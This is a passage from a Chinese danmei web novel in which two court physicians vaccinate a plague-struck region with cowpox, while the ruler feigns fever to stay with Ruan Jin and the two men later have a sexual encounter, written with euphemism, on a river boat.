九大夫从怀中掏出个青瓷小瓶:“这个,是我们南越最常用的止息丸。这个药很贵的,你省着点儿用。要不是因为是王上发烧这种掉脑袋的事儿,我可舍不得拿出来给你。” 阮锦接过药丸,一边往营帐里冲一边冲着九大夫喊:“大恩不言谢!” 说完他火速的给渊夜昙倒了水,扶他起来,倒了一粒止息丸,说道:“王上,把这退烧的药吃了,吃了以后能舒服一点。” 渊夜昙却有些嫌弃,说道:“堂堂男儿,发个烧就要吃退烧药,有这个必要吗?” 阮锦不知道他为什么在这个时候犯浑不肯吃药,更不知道自己是哪儿来的勇气,一脸严肃的瞪视着对方道:“你吃不吃?不吃我灌了!” 渊夜昙:……吃,我吃还不行吗?这么凶干什么? 这样想着,他乖乖拿起了止息丸,仰脖用凉白开服了进去。 渊夜昙扶他躺下,说道:“你等着,我再去给你煮点粥,不要乱跑,不要见风,也不要随便走动。” 渊夜昙乖乖点了点头,十分享受这种被阮锦照顾的感觉。 片刻后,阮锦端着小米粥进来时,发现渊夜昙正盯着帐篷顶勾着唇角发呆,那模样竟有几分孩子气。 他也是不懂了,发个烧,有什么好笑的? 阮锦把小米弱放到一张小桌子上,并给他端到了床头,说道:“王上,您起来喝点小米粥吧!我还往里面加了点肉糜,这样也能补充点营养。不过喝了粥就不能再吃别的东西了,发烧还是要饮食清淡一些。” 渊夜昙低低嗯了一声,虚弱的支起上身。 阮锦见状,赶紧上前扶起他,说道:“王上您小心些,听说越是身体好的人,接种疫苗的时候越容易发烧,说是免疫力更好,和病毒发生的冲突更强。我以前一直以为是偶然概率,现在感觉可能是真的了。王上您的身体这么好,反应为何会如此之大?” 渊夜昙叹息一声,说道:“是吧?孤也觉得……全身上下都不舒服。” 其实在阮锦给他吃过药丸后便好多了,烧得也不如方才那么厉害了,只是他想多在阮锦这里赖几天,表现得脆弱一点,好蒙混过关。 阮锦见他这个状态,也不好让他自己喝粥了,只得拿起调羹,一勺一勺的喂给他。 帐外经过的九大夫简直没眼看了,心想接种个牛痘而已,至于这样吗? 旁边营帐里三岁娃娃接种以后也没见如此蝎虎,怕不是故意装可怜呢吧? 看透了事情真相的九大夫并不想戳穿他们,也不想告诉阮锦,毕竟两人打情骂俏受伤的向来是自己,让他们这对狗男男折腾去吧! 阮锦给渊夜昙喂完了粥,才让他在帐中好好歇息,自己则又跑去为百姓们接种疫苗了。 四县人口足有几万,阮锦和九大夫接种了足足三天,后面又有几名医官主动加入了接种行列,这才勉强在三日内完成接种。 完成接种的百姓要留在安全区内观察七天,但要产生完全免疫,则需要十四天。 所以阮锦在第一批接种者观察了一周后,便给了他们一定的自由活动时间,医官们也渐渐发现,原来接种了牛痘的人,真的没有一例再感染上天花病毒。 甚至后面几天,好几名医官都主动给自己接种了牛痘疫苗。 一切进行的十分顺利,只有一个人是意外,那就是渊夜昙,他足足在阮锦的营帐里躺了三天了,第四天也没有要起来的意思。 阮锦终于看出来了,于是在他为渊夜昙煮好粥,再一次把他扶起来准备喂给他吃的时候,一把将勺子塞进了他的手里,没好看道:“王上,隔壁七个月的娃娃,刚接种两天,已经开始练走路了!您老二十有八,正当壮年,装个一两天的也就得了!这都第四天了,再装下去可就不礼貌了!” 第124章 抗疫之事持续了整整月余,直到天入初秋,才终于稳定了下来。 这期间长兴侯集结宗亲不知道弹劾了阮锦多少次,但是王座之上的男人却始终坐在那里一动不动,仿佛对这件事懒得给出半点眼神。 某位宗亲十分不解的问长兴侯:“王上最近看上去精神好像不太好?他这是……那几天又来了吗?” 长兴侯冷哼一声,说道:“来什么来,这是他嫌咱们烦,不知道又跑去哪里了!我看咱们还是小心些为妙,以免他回来那天又发疯,到时候遭殃的就不知道是谁了!” 上次渊夜昙跑出去不知道多久才回来,王座之上坐着的竟是个无知无觉的傀儡。 王上是顶级傀儡师,这是人尽皆知的事情,但也是从那件事后,众人才知道原来顶级傀儡师竟然是可以给自己做替身的。 那替身做的和真人无二,如果不细心去观察,还真是看不出来。 更何况王庭议事的时候,王座离大臣们十几米远,高高在上的王上,哪是那么容易被看清的? 这样的情况一连持续了半个月,大臣们有没有什么想法不知道,阮锦是真的受不了了,他看着把他端回来的食物吃的一干二净的渊夜昙道:“王上,疫病已经控制个差不多了,臣再做一下收尾工作就回去。您……政务繁忙,是不是也该回去了?” 渊夜昙却道:“近日除了这个疫病,倒是也没有别的事儿了。哦,还有个北郡的旱灾,但是那件事不也被元伯爷解决了吗?元伯爷为孤分忧,这才让孤有了分身朝政的机会。” 阮锦:……这他娘的还是我的错了? 最尴尬的就是九大夫了,他每次来找阮锦,都要看一番渊夜昙的脸色。 他觉得自己必须要找个机会,把事情的真相告诉渊夜昙,他一个大龄哥儿天天被迫加入他们的play,还要看他们秀恩爱,真他娘的没天理。 更要命的事,还有个傻X一样的男人在他面前转来转去,一口一个小白脸的恶心他,这日子真的没法过了QAQ! 蒙铎把最终的情况报告交到了他的手上,说道:“九医官请查阅,这是刚刚得出来的最新报告,已经连续九天没有新病例增加了。之前感染的那些,死亡率也降低了不少。根据往常抗疫的情况,半个月之内没有新增病例,咱们就可以回去了。” 九大夫面色阴沉的接过那份报告,淡淡嗯了一声:“我知道了,你出去吧!” 蒙铎:??? 蒙铎啧了一声,说道:“小……啊不是,九医官,你能不能给我点好脸色?我知道第一次见面的时候咱们俩之间有些误会,但也说了那都是误会了,你就不能不要再跟我这个粗人计较了?” 九大夫冷冷的看了他一眼,问道:“我什么时候跟你计较了?你进来以后,我说什么冒犯的话了吗?” 蒙铎:…… 是,你没说,可是你的脸拉的跟驴脸一样,一副让我有多远滚多远的模样。 蒙铎叹气道:“行行行,你没说,是我舔着脸来你这儿找不痛快行了吧?你这个人真的是,也忒小心眼儿了!” 说完他从袖子里掏出一包茶叶悄悄放到了九大夫的桌子上,说道:“我们大渊男儿,可不像你们南越男子那样小气!这可是上好的黄芽,别说我没想着你。” 说完他转身离开了九大夫的营帐,哼着小曲儿走了。 九大夫一脸莫名其妙,心想这个人也是奇怪,来我这儿挑衅一番,竟然给他留了一包茶叶? 九大夫拿过那包茶叶,打开闻了闻,一阵清香之气扑鼻而来。 他这个人确实没什么别的爱好,只是爱喝茶,这茶叶确实不错,虽不是什么上上品,可在中品茶叶里已经是佼佼者了。 自从来到这东城四县抗击疫情,九大夫每天都只能喝点白开水,能喝上点茶叶确实不错。 于是他起身,烧了开水,泡了一杯茶,开始撰写相关的医案。 他其实有一个想法,如果可以,应在全国范围内推广牛痘的接种,防患于未然。 根据他所了解的信息显示,每年渊国因为牛痘而死亡的病例都要过万,大流行的时候甚至几万十几万。 这种病毒死亡率极高,哪怕是这次他们防疫及时,也死了将近一千人。 但他观察过,牛痘的接种症状也不过是发发烧,严重的会生些皮疹,最多三到五天就缓过来了,至今尚无一例死亡病例。 也是有了这次的经验,九大夫才敢确定,牛痘是一种极其安全的接种方式,的的确确适合全国推广。 他打算回去后,便让阮锦向王上请命,如果这件事能办成,那可是天大的好事。 这时又有一个脑袋在门口探头探脑,朝他吹了声口哨,问道:“九医官,嘿,九兄!” 九大夫抬头,有些不耐烦的问道:“蒙将军,又有什么事?” 蒙将军指了指他桌案上的茶,问道:“这茶叶怎么样?” 九大夫淡淡嗯了一声:“还不错,多谢蒙将军割爱。” 蒙铎笑了起来,说道:“嘿,我就知道你会喜欢。这可是我专门托人从南越那边儿捎过来的,怎么样?还算有你家乡的味道吧?” 九大夫微怔,他也没想到,蒙铎竟然让人千里迢迢从南越带茶叶过来。 他有些不解的问道:“为什么突然要让人帮我带茶叶?” 蒙铎挠了挠自己的头发,说道:“那不是……我第一次见你的时候不小心把你给得罪了吗?嗨呀!我们北渊男儿,必定是知错能改的。既然有了无心之失,那必然得有心认错。我当时就……一时嘴快,希望九兄不要放到心上。” 九大夫其实也没怎么生蒙铎的气,就是觉得他总是欠儿欠儿的在他面前转悠,一副要找他麻烦的样子,有点看他不顺眼罢了。 不过既然误会说开了,九大夫也就没什么好继续矫情的了,起身朝蒙铎欠了欠身道:“蒙将军有心了,这件事我也有不对的地方。以后有机会,可以来家里坐坐,我让阿……元给你准备一桌上好的酒菜款待。” 提到元耳,蒙铎的表情当即变了变,他有些尴尬的上前道:“那个……听我说啊!世上哥儿千千万,你倒也没必要非得在元伯爷这棵树上吊死。他……这种情况我知道肯定不是你的错,王上那边咱们做为臣子的也不好多说什么。我知道你肯定是受委屈了,但我说句不好听的哈……要不你就换个老婆吧?毕竟……毕竟咱们……做臣子的怎么抢得过王上呢?” 九大夫:…… 九大夫的唇角抖了抖,说道:“多谢蒙将军挂心,不过我和阿元的事,和你们想象的可能有些出入。这件事……以后再解释吧!” 阮锦这个家伙的葫芦里还不知道卖的什么药,他总不能坏了他的计划! 蒙铎也看出来了,九大夫不想提这件事,想想也是,谁家好人被戴了绿帽子还挂在嘴边的? 他想了想,说道:“对了,我知道这附近有条河,风景还不错。这不入秋了,河道两侧全是枫树,好看的很!九大夫要不要一起去散散心?” 阮锦转头看了一眼没写完的医案,又抬头看了一眼蒙铎那刚正纯粹却憨厚愚蠢的表情,缓缓点了点头道:“也好,我也许久没出去散散心了。” 这一忙就是一个多月,虽然疫病很快便被控制住了,但这一个多月确实把他忙了个够呛。 便点了点头,心想出去放松一下也好。 九大夫跟着蒙铎策马来到河边,只见一湾碧水蜿蜒于山谷之间,两岸枫林如火,倒映在水面上,宛如天地间燃起了一场无声的烈火。 的确是一处难得的美景。 “如何?我没骗你吧?”蒙铎翻身下马,得意地扬了扬下巴,“这地方本地人叫枫河谷,秋日里是最好看的。” 九大夫也没想到,东城这边竟然还有这样的美景,望着眼前的景色,紧绷的眉宇终于舒展了些:“确实不错。” 河边停着一艘简陋的乌篷船,船身漆色斑驳,却收拾得很是干净,蒙铎跳上船,伸手去扶九大夫:“来来来九兄,小心些,木板滑。” 九大夫本想说自己没那么娇气,但见他一脸认真,还是搭上了他的手。 掌心相触的瞬间,蒙铎的指尖粗糙温热,九大夫心头莫名一跳,迅速收回手,钻进了船舱。 第一次和一名男子手牵手,把脉不算,这感觉有点奇怪。 船夫是个须发花白的老者,笑呵呵地撑开竹篙:“两位官爷坐稳喽……” 船身轻轻一晃,破开水面,缓缓驶向了枫林深处。 九大夫收回心神,抬头看向远处,此处河水如镜,倒映着漫天红枫,几尾银鱼跃出水面,溅起晶莹水花,远处山峦起伏,暮霭中如黛色剪影。 蒙将军乐呵呵道:“这里是东城郊外,不过也不算偏远,中秋节的时候会在这里办灯会。这两岸全是红枫,再挂满各色彩灯,别提多美了!到时候九兄要是有时间,可以和蒙某一起来游船!此时有军务,不敢饮酒。到时候咱兄弟俩,可以喝个痛快!” 九大夫的心情也跟着放松了下来,他忍不住起身站到了船头,去感受河面上微风带来的湿气。 哪知恰逢河道转弯,船身突然猛烈一晃! “小心——!” 九大夫猝不及防向前栽去,蒙铎一把揽住他的腰,将人牢牢按在怀中。船篷外传来船夫的惊呼:“哎呀呀,你看看,你们南越人就是这么弱不禁风!” 九大夫:??? 不是,这个人是有病吧? 他为什么总是喜欢地域黑? 还没等九大夫挣扎着从蒙铎的怀里站起来,却听到不远处传来一阵揶揄的声音:“哟~~~让我看看这是谁啊?哎哟哟~~~这不是我九哥吗?九哥哥,你这是怎么啦?怎么还没站稳扎别人怀里了?” 九大夫和蒙铎同时抬头,便看到不远处阮锦竟然也站在一个船头,身后撑船的人也怪眼熟的,一个大高个儿杵着个船篙,一副看好戏的模样。 九大夫慌乱的从蒙铎怀里出来,结果脚下又一个没站稳,再次被蒙铎搂住,说道:“九兄,你是个旱鸭子啊?” 九大夫没好气道:“你才旱鸭子!” 说完他钻进了船舱里,懒得再理会那个只知道看好戏的阮锦。 阮锦冲着他吹了声口哨,说道:“九哥哥,你和蒙将军继续啊!我们也就不打扰了!” 说着他对身后的人道:“换个方向!” 那人倒是挺会撑船,不知道用了什么样的傀儡手段,只见那船儿破开水面跑得飞快,不一会儿就只甩给了他们一个尾巴。 走得远了,阮锦才乐呵呵的说道:“不错,不错,我九哥终于开窍了。” 后面划船的渊夜昙终于忍不住了,问道:“刚刚那个白九是在干什么?他为什么要和蒙铎搂搂抱抱的?” 阮锦心情大好,晃着二郎腿,吊儿郎当的说道:“许是二人之间,生出了那么一点点些许的小情愫吧!” 渊夜昙冷冷的哼了一声,问道:“你还挺高兴?” 阮锦道:“嗯?有什么不值得高兴的?”我的好兄弟就要找到良人了,蒙将军看上去人高马大的,长相也算英俊挺拔,算是个良配。 渊夜昙问道:“两个常人男子,搂搂抱抱,值得高兴?” 阮锦:???? 等等,他好像……不小心忽略了一件事? 渊夜昙却仿佛突然开窍了一般,了然的说道:“你那九哥哥……该不会是有那龙阳之好,喜欢与常人男子……搞些不明不白的关系吧?” 阮锦:???不是,你等等,你是不是想得有点多??? 渊夜昙却脑洞大开,继续道:“看你这样子,似是早已知晓?你既知晓他的毛病,为何还要与他成婚?招他为婿?哦……孤明白了!你与他成婚,是不是权宜之计?帮他遮掩他的龙阳之好,顺便……顺便……” 顺便找一个干净一些的男子,帮他处理发情期时的麻烦。 阮锦:!!! 他终于忍不住了,伸手制止道:“王上,您的脑洞……能不能先停一下?” 他该不会是觉得自己和九哥是形婚吧? 不对,他这个顺便的后面,是不是还有什么未尽之言? 这时的阮锦也瞬间福至心灵了,他知道渊夜昙想说什么了,敢情在他渊夜昙的眼里,九大夫就是自己给自己找的人形角先生? 阮锦气死了,一脚把船踹的直晃,怒道:“渊夜昙,在你的眼里,是不是我随便一个什么人都行?” 渊夜昙把船停在一处芦苇茂密之处,小声道:“孤……不是这个意思。” 阮锦气道:“那你是什么意思?” 渊夜昙道:“没有,孤只是……只是觉得……那个九哥哥,配不上你!” 阮锦被气笑了,问道:“哦,他配不上我?那谁配得上我?” 渊夜昙继续道:“他既然是你的赘婿,就该对你从一而忠,却背着你在外面找别的男人,属实不该!而且他长得一副小白脸的样子,一看就不是很行。” 阮锦:不是……你怎么还人身攻击上了? 而且这话说的茶里茶气的,确定是他所知道的,历史上那个赫赫有名的渊太祖? 阮锦继续问道:“他不行,你行?” 渊夜昙却一点儿都不谦虚,挺了挺胸膛道:“孤定是比他强的!” 阮锦终于从船舱里钻了过去,匍匐着抬头看向渊夜昙,眼神仿佛狐狸一般,问道:“王上这么强,是想如何啊?我可是丑话说在前头,我已经有赘婿了,王上若是也想和我有点什么,便只能做我的外室。” 第125章 拿着船篙的那人眼神暗了暗,心想我就只值一个外室吗? 我堂堂大渊的王,如今只值你一个外室? 阮锦见他沉着一张脸不说话,托着腮看着他道:“王上是不同意吗?唉,不同意就算了。反正,有的是人愿意当我的外室。” 这句话显然把渊夜昙给激怒了,他将船篙一把丢掉,皱眉单膝跪到了阮锦的面前,捏着他的下巴问道:“所以,是谁都可以吗?不论是谁……都可以吗?” 阮锦也没想到,渊夜昙竟然会突然这么生气,他有些瑟缩的后退一步,小声道:“你很介意吗?” 渊夜昙却更生气了,捏着他下巴的手更加用力了,声纸压得更低:“回答我的问题!是不是谁都可以?” 阮锦嘶了一声,也有些生气了,一口咬住了他的手指道:“你当我是什么人?还谁都可以!你认识我多长时间了?见过我身边还有过哪个男人?” 渊夜昙没由来的脾气忽然泄掉,他知道自己这样有些莫名其妙,自己根本没有任何立场质问他。 可他却控制不住,自从与他有过第二次,他的占有欲便开始越发的爆棚。 即使如今他并未处于瘾症期内,仍然对他生起种种不该有的心思。 失了船篙,船儿飘飘荡荡,竟自己钻进了芦苇丛中。 此时已是黄昏,河面被晚霞染成赤金色,乌篷船停在芦苇荡深处,细长的苇叶随风轻摆,将船身半掩在暮色里。 渊夜昙仍捏着阮锦的下巴,指腹抵在他唇上,力道不轻不重,却让阮锦挣脱不得,他俯身逼近,哑着嗓子说道:“既然并不是谁都可以,那……为什么孤可以?” 阮锦被他压在船舱角落,后背抵着木板,心跳如擂。 他索性仰起脸,挑衅般舔了舔渊夜昙的指尖:“王上不是自诩比九哥强么?怎么,连个外室的名分都不敢认?” 他承认他是故意的,九哥是朋友,还是同性,他大可以告诉他,也大可以把他的真实身份对他说,可他就是不甘心。 记得一切的只有自己,他爱的有多深,只有他自己心里清楚。 阿蛮却胆敢把自己给忘了,他竟然把自己给忘了,他就是不告诉他,就是让他心里难受,让他无能狂怒,算是对他的惩罚! 渊夜昙眸色骤暗,伸手向前倾去。 船身突然一晃,阮锦猝不及防向后栽去,却被一把扣住腰身。 天旋地转间,两人位置颠倒,渊夜昙单手撑在他耳侧,另一手扯开他腰间的翡翠玉带,声音里混着危险的意味:“外室……好!孤今日便教教你……什么叫祸从口出。” 船舱低矮,两人呼吸交错,渊夜昙的唇骤然吻了上去。 这个吻十分凶蛮,霸道的仿佛要将阮锦拆吃入腹,另一只手更是用力的托着他的后脑勺,一是让他与自己贴得更近,二是防止他后脑勺被船板竖硬的木板硌到。 芦苇荡里的水声忽然急促起来,乌篷船随着波浪上下起伏,惊得几只想入芦苇荡觅食的野鸭游远了,那徐徐远去的波纹,更是让水中倒映着的晚霞增添了三分旖旎。 片刻后,阮锦呜咽一声把他推开,他被吻得半天没喘上气来,此时的舌尖更是传来一阵血腥气,一边微喘着一边瞪视着渊夜昙。 渊夜昙嘶了一声,用手蹭了蹭唇边的口水,好整以暇的问了一句:“属狗的?” 阮锦这才反应过来,口中的血腥气应是他在慌乱中不小心咬到了阿蛮的舌尖。 渊夜昙垂着眸子,唇角还带了一滴鲜红,被他并不是多么在意的随手蹭去。 暮色里他的瞳孔缩成一线,像极了某种危险的爬虫类,他忽然掐住阮锦的腰往上一提,船身猛地倾斜,阮锦整个人跨坐到了他腿上。 “王上你……”阮锦话音未落,突然浑身僵住。 有些话不用问,男人最了解男人,阮锦更是了解阿蛮。 他们新婚时,什么样的小花招都玩过,自是知道他最喜欢的是什么。 芦苇丛中传来沙沙响动,远处似是有船经过,想到方才碰到的九哥,阮锦紧张地绷紧脊背,却被渊夜昙按住后腰往怀里压:“怕什么?”他贴着阮锦耳垂低低笑着:“方才不是挺能耐的吗?” 河风卷着芦苇絮飘进船舱,阮锦打了个喷嚏,突然意识到这姿势有多荒唐,若是被人看到了…… 不论那人是不是九哥,那都是让人社死的程度,他挣动着要起身,渊夜昙却突然将他往下一按。 阮锦惊呼出声,压低声音喊道:“渊夜昙!”一边慌忙去抓散开的衣襟。 乌篷船剧烈摇晃,船底撞到暗礁发出一阵沉闷的:咚! 这一撞反倒救了阮锦,趁着渊夜昙分神稳住船身的间隙,他连滚带爬缩到船舱另一头,手忙脚乱系着衣带:“你疯了吗?这是在外面!外面有多少人你知道吗?” 渊夜昙单膝跪在船板上,外袍早不知丢去了哪里,中衣领口大敞,露出大片蜜色胸膛。 他盯着阮锦冷笑:“现在你知道怕了?不是方才撩拨孤的时候了?” “我撩拨什么了?”阮锦越想越来气:“就许你胡思乱想编排我和九哥,不许我……” 话音戛然而止,渊夜昙突然欺身上前,一把扣住他脚踝往下一拉。 然而想象中撞上船板的疼痛却并没有来,他重新趴回了渊夜昙的怀里,那人扣着他的颈动脉,拇指刮擦着他的耳际,贴着他的耳廓吹了一口气道:“嗯,继续说,孤听着呢。” 阮锦闻到了渊夜昙身上那股特殊的沉香气息,混着血腥味和情欲的味道,熏得他头晕目眩。 此时他突然想到了他与阿蛮不止一次的野外,每次阿蛮都会坚定的告诉他:“安心,此处五里内没有人。” 想到这里,阮锦突然就不紧张了,他并不抗拒野外,只是抗拒有人观摩。 人与动物最根本的区别,就是人要脸。 他轻轻笑了笑,抬手覆上渊夜昙蜿蜒硬朗的侧颊,问道:“王上,身为顶级傀儡师,你是不是早就知道这附近没有人了?” 身下之人微怔,正在思考他是怎么知道这件事的,阮锦却已经像只猫儿一般攀附上了他的脖子,弓着背重新吻上了他的唇。 渊夜昙意外,拇指按上他吻得湿润的唇:“方才不是牙尖嘴利?现在倒乖了。” 渊锦低低的笑,说道:“没想到王上竟然如此喜欢野外,还真是……”一点都没变! 三年多不见,玩的花样倒是还增多了,从前的车里、马上、洞中,如今还打卡了船上。 渊夜昙被他吻得意乱情迷,方才还真不是他的错觉,那家伙从船舱里露出头来的时候,就是一只勾魂摄魄的小狐狸。 他已然有些控制不住内心躁动的情愫,这小东西过于让人着迷,已经迷得他不知天地为何物。 什么大渊的王,什么天下共主,什么一统中原,此时他只想狠狠的要他! 渊夜昙贴着他后颈低语:“既要做外室,孤总该尽些本分。” 阮锦又笑了,说道:“好,那便让我来验验货吧!” 说着他自他胸口处后退三尺,看着他脐下三寸之处,就这样随手一拽,微勾的手指便暴露在了空气里。 渊夜昙不愧是渊夜昙,连此时都有那帝王一般的姿态,他就这么大马金刀的倚在船舱壁上,眼神似有流光般的看向阮锦。 阮锦也并不羞涩,他狐狸一般的朝他勾了勾唇,看向他的眼神牵着丝线一般,只是微一欠身,便将他有些泛红的指端含住。 渊夜昙只觉虎口微麻,电流似那千军万马,在他四肢百骸间流转。 他震惊于阮锦的娴熟,更讶异于自己的无措,记忆里搜肠刮肚,也不曾有过任何经验,身体却似是突然便被唤醒,下意识便挺起腰腹,并按住了阮锦的后脑勺。 阮锦含着他的手指,还抬眼看着他笑,那笑意似是在说:“王上,喜欢吗?” 他则恰似妲己面前的纣王,明知再沉沦下去会有亡国之危,可他还是心甘情愿的沉沦下去了。 浓重的麝香味扑面而来,阮锦有些猝不及防,心想我的阿蛮这些年怎就一点长进都没有? 而此时的纣王却怔在了当场,瞳孔中满是错愕与惊惶,待他反应过来的时候,阮锦的喉头已经滚动了一下,将口水尽数吞入腹中。 渊夜昙上前捏住他的脸颊,沉声道:“你……你……吐掉!” 阮锦被他捏的嘶了一声,而后俏皮的吐了吐舌头,笑道:“没了,吐不出来了。” 渊夜昙的表情十分精彩,阮锦知道,他又要犯病了,又要说那些太脏了之类的话,又要说他自尸山血海中而来,全身都被蛆虫爬过,若非重塑了筋骨,此时早已是一堆枯骨。 可那又如何呢? 如何呢? 阮锦对他眨了眨眼睛,说道:“阿蛮,你早就好了,不会发作的。你的阳元上亢之症,我也早就帮你治好了。别乱想,什么也不要说,乖乖听我的话好吗?” 渊夜昙就这么静静的看着他,呆呆的看着他,眼中的惊涛骇浪一波接一波,已经将他炸得仿佛失去了思维能力。 阮锦猜测,自己可能又吓到他了,这可怎么办才好? 上次的时候,就是把他吓的哭了好久。 真不明白,到底是你有阳元上亢,还是我有阳元上亢? 就在阮锦试探着去喊他的时候,渊夜昙却猛然将他翻身压在身下,动作之大,让乌篷船左右摇晃了许久。 惊得不远处的昏鸦整片飞起,惊得芦苇荡里的鱼儿成群游走,惊得一只野鸭带着一群小鸭嘎嘎嘎的游了老远。 船儿轻轻摇晃着,在芦苇荡里穿梭着,晚霞渐深,明月渐渐高悬,夜风变得微凉,卷着阵阵河水的腥气袭入船舱内。 阮锦倚在渊夜昙的怀里,手搭在那人的腰间,细数着他腹部的每一块腹肌。 “一、二、三……六、七、……八!哇,真的有八块腹肌!” 以前的时候好像还是六块来着,这几年真是没闲着啊? 日日练功来着? 渊夜昙倚在船舱壁上,低低问道:“你喜欢这个?” 阮锦轻轻的笑,扬起下巴去看他,应道:“喜欢啊!不光喜欢这个,还喜欢人鱼线、公狗腰、麒麟臂、钻石腿、蝙蝠背,还有……” 阮锦的手指化作两条小腿,一步一步的走到了渊夜昙的胸肌上:“盔甲胸!” 渊夜昙一头雾水,心想你哪儿来那么多形容词? 你说的这种,扔进军营里,十个里有七八个都是如此,只是他们的轮廓形状确实不及孤的好看罢了。 这一点渊夜昙还是很自信的,他身长九尺,在军营里也是佼佼者,一般男儿只有七尺。 阮锦见他不说话,又问道:“在想什么?” 渊夜昙紧了紧自己的手臂,把他往怀里拢了拢,问道:“明日……孤要回宫了。” 阮锦皱了皱眉,有些生气道:“好好好,睡完就跑,拔雕无情是吧?” 渊夜昙当即否认:“不是,今日也是要和你说的,只是忽然发生了这样的事,没来得及说罢了。是……宫中真的有急报,我刚刚收到了斥候傀儡的传信。” 阮锦明白,他之所以敢放心的到处跑,就是有他那手眼通天的斥候傀儡。 刚刚也只是和他开玩笑,没真要埋怨他的意思。 此时河道静谧,天上一轮圆月,水中一轮圆月,月色撩人,却不及怀中人十之一二。 渊夜昙垂首在阮锦的唇上亲了一口,问道:“真的只能是……外室吗?” 阮锦趴在他怀里低低的笑,笑完才抬头道:“怎么?你还想得寸进尺?是我方才没把你服侍爽吗?外室不够,难不成你还想登堂入室?” 渊夜昙很是懊恼,心想我堂堂渊王,你却只给我个外室的名份,传出去让四方笑话! 但他不知道为什么,没由来的一阵心虚,似是从他吞咽掉自己的秽物起,心里便是一阵的酸胀,觉得欠了他十辈子那么多一般。 渊夜昙低低的答:“孤没这么说……” 阮锦的心里要笑翻了,他心想阿蛮还是同从前一样可爱,虽然早知道自己能将他睡服,没想到如此轻易便睡服了。 阮锦开始胡说八道:“王上,臣觉得这样没什么不好。明面上,您是高高在上的王,臣要跪你敬你。但私下里,你是我的外室。床上无大小,做彼此的入幕之宾。王上国事上若是烦了闷了,自有臣为您宽衣解忧。您也不过是背负一个外室的名头,算来算去……都是赚了吧?” 渊夜昙被他绕进去了,想不通自己哪里赚了,总觉得哪里不对,却又有那么几分的道理。 阮锦P得一手好UA,倚在渊夜昙的怀里,手还在不停的占着便宜。 直到船头砰的一声撞上什么东西,两人才同时抬头往外看去,才发现船儿不知何时已然撞上了岸,并停在了一处靠近码头的碎石滩处。 阮锦裹了裹衣衫,坐起身道:“我们也该回去了,王上。明日你回宫,我们这边再观察几日也该回去了。回去后,白天我们仍是君臣。到了夜里,王上若有时间,自可来找臣。” 说完他起身,便要下船。 却又被渊夜昙给抱住,在他脸颊上亲了一口,耳边传来沉沉的一声:“好。”外室便外室,他认了。 阮锦心想也是便宜你了,什么都没想起来,还得了个外室的名分。 两人借着月色,共乘一骑朝营帐的方向飞奔而去,奔着奔着便又听到一阵马蹄声,两人快速追上,只见九大夫被人高马大的蒙将军抱在怀里,竟也同乘一骑朝着同样的方向奔去。 第126章 阮锦十分意外的看向九大夫,问道:“咦?我九哥?你们怎么也才回去?” 这个也字就用的十分微妙,他们回去的晚是因为在船上荒唐了将近两个小时,你们才回去是因为什么? 九大夫的表情隐在夜色里,他声线本来就有几分清冷,导致情绪上有点起伏,也很难被人听出来。 九大夫回答:“不小心掉河里了,在河边找了一处烤火烘衣。” 后面的话他没说,怪只怪那个蒙铎,非得让他站上船头看什么红霞漫天,谁知道那船如此不稳,一下子就掉下去了。 好在蒙铎是会水的,及时把他救了出来。 可他身上的衣服也全湿了,不得不脱了在一旁烤火。 本来这也不是什么大不了的事儿,两个男人一起烤火,就算坦诚相见又有什么不妥的。 坏就坏在九大夫是个哥儿,他小臂上有孕痣,昭示着他是一个尚未成婚的哥儿。 九哥是很谨慎的,他并不会在蒙铎面前坦露肌肤,便支了两个驾子,中间搭上自己的包袍,点了两堆火,把两人从中间隔开。 谁料那人是个糙的,倒是没有故意去窥视他,而是尿急跑去一边解了个手,回来一脚没站稳,把中间的架子给打翻了。 九大夫十分气恼,想遮掩已经来不及了,胳膊上的孕痣就这么被对方看到。 蒙铎先是震惊,接着便看到了九大夫那纤细柔韧颀长却单薄的身子,以及他那皮弹可破的皮肤,劲瘦的窄腰,以及…… 下一秒,蒙铎吓的蒙住了眼睛,嚷嚷道:“你你你你竟是哥儿!” 九大夫气极了,骂道:“登徒子!还不快转过去!” 蒙铎猛然转过身去,并跑远了好几米,半天后才问道:“九兄……不对,九……算了,还是九兄吧!你你你为什么要假扮常人男子?” 九大夫披上了半干的包袍,又把架子重新支好,背对着蒙铎坐回了石头上,没好气的问道:“你什么时候听我说过我不是哥儿的?” 蒙铎还在那里死强:“你不是说你是元伯爷的夫……” 等等,好像也没有人说同性恋里的夫君不能自称夫君吧? 就好像两个常人男子相恋,也会夫君夫郎的这么叫,有的甚至还会叫娘子。 虽然他身为一个正常男子有些不太理解,但他表示尊重,毕竟军中男儿相恋的并不少见。 蒙铎还是十分诚恳的道了歉,九大夫也不好再多说什么,只警告了一句:“不许告诉任何人!” 蒙铎一叠声儿的应承着:“好好好,你放心,我一定不会告诉任何人!” 于是两人等到烤干了衣服,又找了半天才找到一处卖马的地方,但只能买到一匹马了,便同乘一骑往回赶。 谁知道就是这么巧,刚好碰上了阮锦和王上。 这俩没脸没皮的,一看那状态就知道干了什么,九大夫仿佛回到了当年被他俩喂狗粮的年代。 阮锦听出了九大夫状态不太对,但知道这时候不是说悄悄话的时候,便压下什么都没说。 当天晚上回去,渊夜昙便动身回了王宫,阮锦则跑去了九大夫的帐篷。 他蹭到九大夫的床上,搂着他问道:“九哥,发生什么事了?你看着不太对啊!” 九大夫就知道瞒不住他,便道:“可能我的身份瞒不住了,今天我掉到了水里,被蒙铎发现了身份。王上那边……” 阮锦却不是很在意的挥了挥手,说道:“没事,小事而已。我其实早就想和他坦白了,也就是不甘心他一直想不起我。这件事,我会找机会和他说清楚的。” 九大夫嗯了一声,虽然和阮锦说清楚了,他的心情却还是有些烦乱。 藏了这么久的哥儿身份,就这么被人给戳破了,九大夫很不甘心,都怪那个姓蒙的,他不会轻易原谅他的! 阮锦却迟疑的说道:“九哥,你……是不是该顺便恢复怎么的性别了?这么多年来,你一直以常人男子的装扮示人。其实,我知道,你也很渴望有一个人来到你的生命里。最主要的是,哥儿的发情期的确恼人,你就不想找个人帮帮你吗?” 九大夫抿了抿唇,说道:“好,我……会考虑的。” 三日后,东城四县内再无一例天花病例发生,阮锦和九大夫也终于在蒙铎的护送下返回了京城。 天花的死亡人数传出来后,整个王庭乃至整个京城上上下下都震惊了。 连迟大人都满是震惊,他猛然站起身来,问道:“什么?死亡人数……一千一百二十三人?这……真的还是假的?” 谢晗抱臂道:“真的,我们黑羽卫第一个看到了医案,此时已经放到了王上的桌案前。” 迟麟惊喜的来回跺步,边笑边道:“太好了,太好了!管家,备车!我现在就去城门口亲自迎接阮……元兄弟!” 